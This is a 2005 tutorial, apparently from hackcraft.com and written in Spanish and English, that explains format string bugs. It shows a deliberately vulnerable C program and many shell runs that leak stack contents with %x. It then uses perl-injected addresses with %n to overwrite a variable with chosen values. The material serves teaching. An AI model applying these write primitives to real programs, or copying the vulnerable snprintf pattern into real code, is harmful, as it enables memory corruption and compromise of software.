~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "FORMAT STRING" bugs por Hugo Marti­n www.hackcraft.com (2005) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ El contenido de este tutorial es un bosquejo, lo he creado sólo para practicar y para tenerlo a la mano como un pequeño resumen. 0x0) What Is a Format String? A format string is a programming primitive employed with the printf() family of functions and is used to dictate the formatting of an arbitrary character string. +---------------------------------------------------------------------------------------+ | Format Specifiers FORMATMEANING | +---------------------------------------------------------------------------------------+ | %d Interprets the argument specified as a signed decimal number | | %x Interprets the argument specified as an unsigned hexadecimal | | number | | %s Interprets the argument specified as a string | | %p Interprets the argument specified as an address (pointer) | | %n Stores the number of characters that should be outputted before | | the format specifier in the argument | +---------------------------------------------------------------------------------------+ 0x1) Primero revisamos un típico código utilizando la función que realiza un "format string" ------------------------------------------------------------------------- #include int main(int argc, char **argv) { int n, m; n = 10; printf("The variable n is %d and lives at %p.%n \n", n, &n, &m); printf("The above line is %d characters.\n", m); return (0); } ------------------------------------------------------------------------- [hugomartin@localhost formatstrings]$ ./example-formatstring The variable n is 10 and lives at 0xbffff8d4. The above line is 45 characters. 0x2) Luego analizaremos un pograma con una vulnerabilidad de tipo "format string" ------------------------------------------------------------------------- #include int main(int argc, char **argv) { char buf[100]; int n; n = 1; /* read input from command line and NULL terminate */ snprintf (buf, sizeof (buf), argv[1]); buf[sizeof (buf) - 1] = 0; printf("\n%d byte buffer: %s\n", strlen(buf), buf); printf("The variable n is %d and lives at %p.\n", n, &n); return (0); } ------------------------------------------------------------------------- [hugomartin@localhost formatstrings]$ ./vuln1 0 byte buffer: The variable n is 1 and lives at 0xbffff85c. [hugomartin@localhost formatstrings]$ ./vuln1 A 1 byte buffer: A The variable n is 1 and lives at 0xbffff85c. [hugomartin@localhost formatstrings]$ ./vuln1 AA 2 byte buffer: AA The variable n is 1 and lives at 0xbffff85c. [hugomartin@localhost formatstrings]$ ./vuln1 AAA 3 byte buffer: AAA The variable n is 1 and lives at 0xbffff85c. [hugomartin@localhost formatstrings]$ ./vuln1 AAAA 4 byte buffer: AAAA The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "hello world" 11 byte buffer: hello world The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "hello world1" 12 byte buffer: hello world1 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "hello world11" 13 byte buffer: hello world11 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "hello world1111" 15 byte buffer: hello world1111 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "hello world1111111" 18 byte buffer: hello world1111111 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "hello world1111111111" 21 byte buffer: hello world1111111111 The variable n is 1 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x %x %x" 14 byte buffer: 0 0 0 117650 0 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x %p %x" 16 byte buffer: 0 0 0 0x117650 0 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x %s %x" 11 byte buffer: 0 0 0 @~ 0 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x %d %x" 15 byte buffer: 0 0 0 1144400 0 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x %x %x" 14 byte buffer: 0 0 0 117650 0 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x %n %x" Violación de segmento [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x %m %x" 20 byte buffer: 0 0 0 Success 117650 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x %x %x" 14 byte buffer: 0 0 0 117650 0 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x %x" 12 byte buffer: 0 0 0 117650 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x" 5 byte buffer: 0 0 0 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %m" 11 byte buffer: 0 0 Success The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %m %x" 13 byte buffer: 0 0 Success 0 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %m %x" 13 byte buffer: 0 0 Success 0 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x %x" 12 byte buffer: 0 0 0 117650 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x %x %x" 14 byte buffer: 0 0 0 117650 0 The variable n is 1 and lives at 0xbffff84c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x %x %x %x %x %x %x %x" 50 byte buffer: 0 0 0 117650 0 6f6e2800 29656e bffff884 1 20302030 The variable n is 1 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ ./vuln1 "%x %x %x %x %x %x %x %x %x %x" 50 byte buffer: 0 0 0 117650 0 6f6e2800 29656e bffff884 1 20302030 The variable n is 1 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ ./vuln1 "XXXX %x %x %x %x %x %x %x" 35 byte buffer: XXXX 0 0 0 117650 0 6f6e2800 29656e The variable n is 1 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ ./vuln1 "XXXX %x %x %x %x %x %x %x %x" 44 byte buffer: XXXX 0 0 0 117650 0 6f6e2800 29656e bffff884 The variable n is 1 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ ./vuln1 "XXXX %x %x %x %x %x %x %x %x %x" 46 byte buffer: XXXX 0 0 0 117650 0 6f6e2800 29656e bffff884 1 The variable n is 1 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ ./vuln1 "XXXX %x %x %x %x %x %x %x %x %x %x" 55 byte buffer: XXXX 0 0 0 117650 0 6f6e2800 29656e bffff884 1 58585858 The variable n is 1 and lives at 0xbffff83c. ---------------------------------------------------------------------------------------------- > Hemos sobreescrito la pila con los caracteres XXXX (en hexadecimal: 58585858) > Ahora utilizamos PERL para injectar una dirección de memoria (la dirección de "n" [&n]) > &n = 0xbffff83c > sobreescribiremos : \x3c\xf8\xff\xbf (little-endian) ---------------------------------------------------------------------------------------------- [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x%x%x"' 45 byte buffer: <��00011765006f6e280029656ebffff8841bffff83c The variable n is 1 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x%x%n"' 37 byte buffer: <��00011765006f6e280029656ebffff8841 The variable n is 37 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x%d%n"' 37 byte buffer: <��00011765006f6e280029656ebffff8841 The variable n is 37 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x%x%n"' 37 byte buffer: <��00011765006f6e280029656ebffff8841 The variable n is 37 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x%x%n"' 37 byte buffer: <��00011765006f6e280029656ebffff8841 The variable n is 37 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x %x%n"' 38 byte buffer: <��00011765006f6e280029656ebffff884 1 The variable n is 38 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x %x%n"' 39 byte buffer: <��00011765006f6e280029656ebffff884 1 The variable n is 39 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x %x%n"' 13 byte buffer: <��000117652 The variable n is 1 and lives at 0xbffff82c. [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x %x%n"' 13 byte buffer: <��00011765, The variable n is 1 and lives at 0xbffff82c. [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x %x%n"' 41 byte buffer: <��00011765006f6e280029656ebffff884 1 The variable n is 41 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x %x%n"' 42 byte buffer: <��00011765006f6e280029656ebffff884 1 The variable n is 42 and lives at 0xbffff83c. [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x %x%n"' 13 byte buffer: <��00011765+ The variable n is 1 and lives at 0xbffff82c. [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x %x%n"' 42 byte buffer: <��00011765006f6e280029656ebffff884 1 The variable n is 42 and lives at 0xbffff83c. ---------------------------------------------------------------------------------------------- > Porque buf[100] no podemos llenar más de 100 en buf. Pero podemos incrementar "n" usamos > el "format width specifier" (%.99x%n) ---------------------------------------------------------------------------------------------- [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x3c\xf8\xff\xbf%x%x%x%x%x%x% x%x%.99x%n"' 99 byte buffer: <��00011765006f6e280029656ebffff8840000000000000000000000000000000000000000000 00000000000000000000 The variable n is 135 and lives at 0xbffff83c. ---------------------------------------------------------------------------------------------- SI QUEREMOS PONER N=0 LE RESTAMOS 3 BYTES A LA DIRECCION 0xbffff83c 0xbffff83c (3C -> 39) REEMPLAZAMOS \x3c\xf8\xff\xbf POR \x3c\xf8\xff\xbf ---------------------------------------------------------------------------------------------- [hugomartin@localhost formatstrings]$ perl -e 'system "./vuln1","\x39\xf8\xff\xbf%x%x%x%x%x%x% x%x%.99x%n"' 99 byte buffer: 9��00011765006f6e280029656ebffff8840000000000000000000000000000000000000000000 00000000000000000000 The variable n is 0 and lives at 0xbffff83c. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ www.hackcraft.com (2005) Source: -Building Open Source Network Security Tools (by Mike D. Schiffman) ISBN:0471205443 John Wiley & Sons © 2003